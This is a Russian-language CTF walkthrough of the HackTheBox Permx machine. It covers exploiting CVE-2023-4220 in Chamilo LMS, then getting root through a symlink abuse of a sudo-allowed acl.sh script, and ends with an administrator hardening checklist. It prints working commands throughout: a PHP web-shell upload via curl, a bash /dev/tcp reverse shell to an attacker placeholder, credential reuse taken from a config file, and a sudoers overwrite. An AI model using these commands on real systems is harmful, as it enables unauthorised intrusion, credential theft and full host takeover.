Перейти к содержимому

CVE-2023-4220 Chamilo LMS: HTB Permx от file upload до root через acl.sh

CVE-2023-4220 Chamilo LMS: HTB Permx от file upload до root через acl.sh
Время чтения: 10 мин.

EPSS (Exploit Prediction Scoring System — система прогнозирования эксплуатации уязвимостей; выдаёт число от 0 до 1, где 1 — максимальная вероятность) оценивает шансы, что уязвимость начнут эксплуатировать в ближайшие 30 дней: значение 0.76 — это почти наверняка, эксплуатация либо идёт, либо вот-вот начнётся. Родственные уязвимости того же Chamilo LMS — CVE-2023-3368 (command injection, CVSS 9.8 CRITICAL) и CVE-2023-34960 (command injection, CVSS 9.8) — по ряду публикаций, предположительно эксплуатировались in-the-wild и могли использоваться в ботнет-кампаниях. Машина Permx на HackTheBox построена вокруг CVE-2023-4220 и проводит через полную цепочку: неаутентифицированный RCE через загрузку веб-шелла, извлечение паролей из конфигов и повышение привилегий через некорректное sudo-правило на скрипте acl.sh. Разберём каждый этап — с объяснением, почему именно это решение, какие тупики встречаются и как понять, что шаг выполнен верно.

Место в kill chain и что понадобится для HackTheBox Permx прохождения

Прежде чем запускать первую команду, полезно видеть маршрут целиком. Каждый этап Permx маппится на конкретную технику MITRE ATT&CK — это открытая база тактик и техник реальных атак. T-коды вроде T1190 — уникальные идентификаторы техник; их удобно использовать как общий язык при описании атак:

  1. Закрепление — загружаем PHP-шелл на сервер (T1505.003, Web Shell, тактика Persistence)
  2. Исполнение — получаем reverse shell от www-data (T1059.004, Unix Shell, тактика Execution)
  3. Сбор данных — читаем конфиг Chamilo с паролем БД (T1552.001, Credentials In Files, тактика Credential Access)
  4. Эскалация — злоупотребляем sudo-правом на acl.sh (T1548.003, Sudo and Sudo Caching, тактика Privilege Escalation), меняем ACL критических файлов (T1222.002, Linux and Mac Permissions)

Зачем злоумышленнику эта цепочка на практике: Chamilo LMS (Learning Management System — open-source платформа на PHP для управления обучением) хранит данные студентов, оценки, персональную информацию. RCE на веб-сервере плюс повышение до root — полный контроль над хостом и точка входа для движения по внутренней сети образовательного учреждения.

Требования к окружению

  • ОС атакующего: Kali Linux 2023.x или новее (Parrot OS тоже подойдёт)
  • RAM: минимум 4 ГБ (одна VM для Kali)
  • Сеть: активное VPN-подключение к HTB через .ovpn файл
  • Инструменты: nmap, curl, nc (netcat), ffuf или gobuster — всё предустановлено в Kali
  • Права: обычный пользователь в Kali, root не нужен для большинства шагов

Разведка — находим Chamilo LMS на целевом хосте

Начинаем со сканирования портов целевого IP. Запускаем nmap -sC -sV <TARGET_IP> — флаг -sC включает стандартные NSE-скрипты для разведки, -sV определяет версии сервисов. Ожидаемый результат: открыты порты 22 (SSH) и 80 (HTTP). Других точек входа на этом этапе нет — фокусируемся на вебе.

При переходе в браузере на IP видим редирект на домен permx.htb. Добавляем его в /etc/hosts: echo '<TARGET_IP> permx.htb' | sudo tee -a /etc/hosts.

Есть ли поддомены? Запускаем перечисление виртуальных хостов через ffuf: ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://permx.htb -H "Host: FUZZ.permx.htb" -mc 200. Флаг -mc 200 фильтрует ответы — показывает только те, где сервер вернул HTTP 200 (OK). Результат: обнаруживается поддомен lms.permx.htb — добавляем его в /etc/hosts рядом с основным доменом.

Переходим на http://lms.permx.htb и видим интерфейс Chamilo LMS. Определить версию можно через страницу /documentation/changelog.html или через заголовки HTTP-ответов.

Почему не сканируем директории вслепую? Потому что знание версии LMS сразу сужает поиск. Вместо часа перебора через gobuster — один запрос к changelog и точечная проверка конкретного CVE. Экономия времени на пентесте — не лень, а метод.

CVE-2023-4220 — эксплуатация Chamilo LMS уязвимости через file upload

Анатомия уязвимости

CVE-2023-4220 — неограниченная загрузка файлов. В классификации CWE (Common Weakness Enumeration — стандартный каталог типов программных слабостей) это CWE-434: Unrestricted Upload of File with Dangerous Type. Продукт принимает файлы опасных типов без проверки. Второй связанный CWE — CWE-79 (Cross-site Scripting), потому что та же уязвимость позволяет загружать HTML-файлы для хранимого XSS.

CVSS-вектор по данным NVD: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. Если вы впервые видите эту запись — разберём по компонентам (CVSS — Common Vulnerability Scoring System, стандартная система оценки критичности уязвимостей):

  • AV:N (Attack Vector: Network) — атака по сети, физический доступ не нужен
  • AC:H (Attack Complexity: High) — сложность высокая, директория files/ должна существовать на сервере
  • PR:N (Privileges Required: None) — аутентификация не требуется вообще
  • UI:N (User Interaction: None) — действие пользователя не нужно
  • C:H / I:H / A:H — полный импакт на конфиденциальность, целостность и доступность

Итоговый балл — 8.1 (HIGH). Суть проблемы: файл /main/inc/lib/javascript/bigupload/inc/bigUpload.php принимает загрузку через параметр bigUploadFile и сохраняет файл в директорию /main/inc/lib/javascript/bigupload/files/ без какой-либо проверки расширения или содержимого. Имя файла берётся напрямую из $_FILES['bigUploadFile']['name'] и передаётся в move_uploaded_file() — никакой санитизации. Загружай .php файл и выполняй произвольный код.

Предусловия для CVE-2023-4220 эксплуатации:

  • Chamilo LMS версии <= 1.11.24 (патч выпущен в v1.11.26, сентябрь 2023)
  • Директория /main/inc/lib/javascript/bigupload/files/ существует и доступна для записи веб-сервером
  • Веб-сервер (Apache/Nginx) обрабатывает PHP-файлы в этой директории
  • Нет WAF (Web Application Firewall — межсетевой экран уровня приложений, фильтрующий HTTP-трафик по правилам), блокирующего загрузку .php в multipart-запросах

На HTB Permx все условия выполнены. В реальной инфраструктуре директория files/ может не существовать по умолчанию — она может потребовать предварительной эксплуатации иной уязвимости (например, command injection через CVE-2023-3368), что делает цепочку ещё опаснее.

File upload bypass RCE: загрузка веб-шелла

Цель: выполнять произвольные команды на сервере от имени пользователя веб-сервера (обычно www-data). Пошагово, по публичному PoC:

# 1. Создаём минимальный PHP-шелл
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# 2. Загружаем на сервер через уязвимый endpoint
curl -F 'bigUploadFile=@shell.php' \
  'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
# 3. Проверяем — вызываем шелл с командой id
curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'

Ожидаемый вывод шага 3: uid=33(www-data) gid=33(www-data) groups=33(www-data). Видите эту строку — RCE (Remote Code Execution, удалённое выполнение кода) подтверждён. bigUpload.php принял файл без проверки расширения, сохранил в директорию files/, а Apache обработал .php при обращении — исполнив наш код.

От веб-шелла к пользовательскому доступу

Веб-шелл через GET-параметр неудобен: нет автодополнения, нет интерактивности, каждую команду нужно URL-кодировать. Поднимаем reverse shell — обратное подключение, когда целевой сервер сам подключается к нашей машине.

На стороне атакующего запускаем слушатель: nc -lvnp 4444 — netcat ждёт входящее подключение на порту 4444. Через веб-шелл отправляем payload: bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' (URL-кодированный через параметр cmd). В терминале с netcat появляется шелл от www-data@permx.

Стабилизируем шелл стандартной последовательностью: python3 -c 'import pty;pty.spawn("/bin/bash")', затем Ctrl+Z, затем stty raw -echo; fg, и наконец export TERM=xterm. Теперь работаем в полноценном терминале — со стрелками, автодополнением и Ctrl+C.

Учётные данные в конфигурационных файлах Chamilo

Как перейти от www-data к реальному пользователю? Chamilo LMS хранит параметры подключения к базе данных в конфигурационном файле. Ищем: find / -name "configuration.php" 2>/dev/null — обычно путь /var/www/chamilo/app/config/configuration.php (T1083, File and Directory Discovery — поиск файлов и директорий с полезной информацией).

В файле находим строки с $_configuration['db_password']. Этот пароль — кандидат для проверки повторного использования. Смотрим пользователей системы: cat /etc/passwd | grep bash — находим пользователя mtz.

Пробуем SSH: ssh mtz@permx.htb с паролем из конфига Chamilo. Если подключение успешно — забираем user.txt из домашней директории. Password reuse — повторное использование паролей между сервисами — одна из самых частых причин эскалации на реальных пентестах. Люди ставят один пароль на БД и на SSH-аккаунт, и это работает в нашу пользу раз за разом.

Sudo privilege escalation Linux через acl.sh

Что показывает sudo -l

После получения пользовательского шелла первым делом проверяем sudo-привилегии: sudo -l. Команда показывает, какие программы текущий пользователь может запускать с правами root через sudo. Это первая команда после получения шелла на любой Linux-машине — привычка, которую стоит выработать.

Вывод для Permx: (ALL : ALL) NOPASSWD: /opt/acl.sh — пользователь mtz может выполнить /opt/acl.sh от имени root без ввода пароля. Смотрим содержимое: cat /opt/acl.sh.

Скрипт принимает три аргумента — имя пользователя, права и путь к файлу — и вызывает setfacl. Если вы не встречали эту утилиту: setfacl управляет списками контроля доступа (ACL — Access Control Lists). ACL позволяют назначать права конкретным пользователям сверх стандартной модели owner/group/other. Ключевая проверка в скрипте: путь к файлу должен начинаться с /home/mtz/. На первый взгляд безопасно — менять ACL можно только для файлов в домашней директории.

На первый взгляд.

Злоупотребление sudo-правилом через символическую ссылку

Проблема: скрипт проверяет строку пути, но не разрешает символические ссылки (симлинки). Симлинк — это ярлык в файловой системе, указывающий на другой файл. Если создать симлинк в /home/mtz/, указывающий на критический системный файл, скрипт пройдёт проверку строки, но setfacl применит права к реальному файлу-цели.

# 1. Создаём симлинк на /etc/sudoers в домашней директории
ln -s /etc/sudoers /home/mtz/sudoers_link
# 2. Через acl.sh даём пользователю mtz чтение и запись
sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link
# 3. Добавляем полные sudo-права без пароля
echo 'mtz ALL=(ALL:ALL) NOPASSWD: ALL' >> /etc/sudoers
# 4. Переключаемся в root
sudo su

Ожидаемый результат шага 4: приглашение root@permx:#. Забираем /root/root.txt — машина пройдена.

Что произошло: acl.sh проверяет, что строка /home/mtz/sudoers_link начинается с /home/mtz/ — проверка проходит. Затем setfacl -m u:mtz:rw /home/mtz/sudoers_link следует по симлинку и применяет ACL к реальному /etc/sudoers. Мы получаем право записи в sudoers, добавляем себе полные привилегии и становимся root.

Альтернативный вектор — симлинк на /etc/passwd с последующим добавлением нового пользователя с UID 0. Оба варианта эквивалентны по результату; sudoers чуть чище, потому что не затрагивает существующих пользователей.

Ограничения техники и защитные меры

Когда CVE-2023-4220 не работает

  • Chamilo >= 1.11.26 — уязвимость исправлена патчем от сентября 2023 (коммит 3b487a55 в репозитории Chamilo на GitHub)
  • Директория files/ не существует — загрузка невозможна без предварительной эксплуатации CVE-2023-3368
  • WAF фильтрует .php в multipart-upload — ModSecurity, Cloudflare или аналогичный WAF перед Chamilo
  • .htaccess запрещает выполнение PHP — если администратор добавил RedirectMatch 403 для bigupload/files
  • Применимость: внешний пентест, legacy-инфраструктура с непатченным Chamilo LMS на Apache

Когда acl.sh privilege escalation не работает

  • Скрипт вызывает realpath или readlink -f перед проверкой пути — симлинк разрешается до реального пути, и проверка /home/mtz/ ломается
  • SELinux или AppArmor блокирует запись в /etc/sudoers для контекста пользователя
  • Файл sudoers имеет immutable-атрибут (установлен через chattr +i)
  • Скрипт использует --no-follow при вызове setfacl

Чеклист для администратора

  1. Добавить в .htaccess: RedirectMatch 403 ^/main/inc/lib/javascript/bigupload/files
  2. Удалить директорию bigupload/files/, если BigUpload не используется
  3. Настроить заголовок X-Content-Type-Options: nosniff для предотвращения XSS через загруженные файлы
  4. Мониторить access-логи на запросы к bigUpload.php?action=post-unsupported и к bigupload/files/*
  5. Проверять наличие .php и .htaccess файлов в bigupload/files/
  6. В sudo-правилах: валидировать пути через realpath, не допускать следования по симлинкам
  7. Не выдавать NOPASSWD на скрипты, работающие с произвольными путями к файлам
  8. Проверять пароли на повторное использование между БД и SSH-аккаунтами

Цепочка Permx занимает три шага от неаутентифицированной загрузки до root — выглядит учебной, но именно такие цепочки встречаются на реальных пентестах. Sudo misconfigurations — вектор, который систематически недооценивают. Администраторы выдают NOPASSWD на скрипт, «потому что он ограничен домашней директорией», и не задумываются о символических ссылках. На практике я встречаю это не реже, чем классические SUID-эскалации. Проверка пути строкой вида if [[ "$target" != /home/user/* ]] — антипаттерн. Без realpath она всегда обходится через симлинк. Если забираешь из этого разбора одну вещь — пусть это будет привычка при любом sudo -l думать не «что разрешено», а «что можно заставить эту программу сделать с правами root, если подсунуть ей неожиданный ввод». Для тех, кому скучно от Hack The Box без объяснений почему — на IB Basics такие цепочки разбираются системно, от первого шага.

Эту тему и смежные навыки разбирают на практике в курсе «Тестирование веб-приложений на проникновение (WAPT)» Codeby Academy.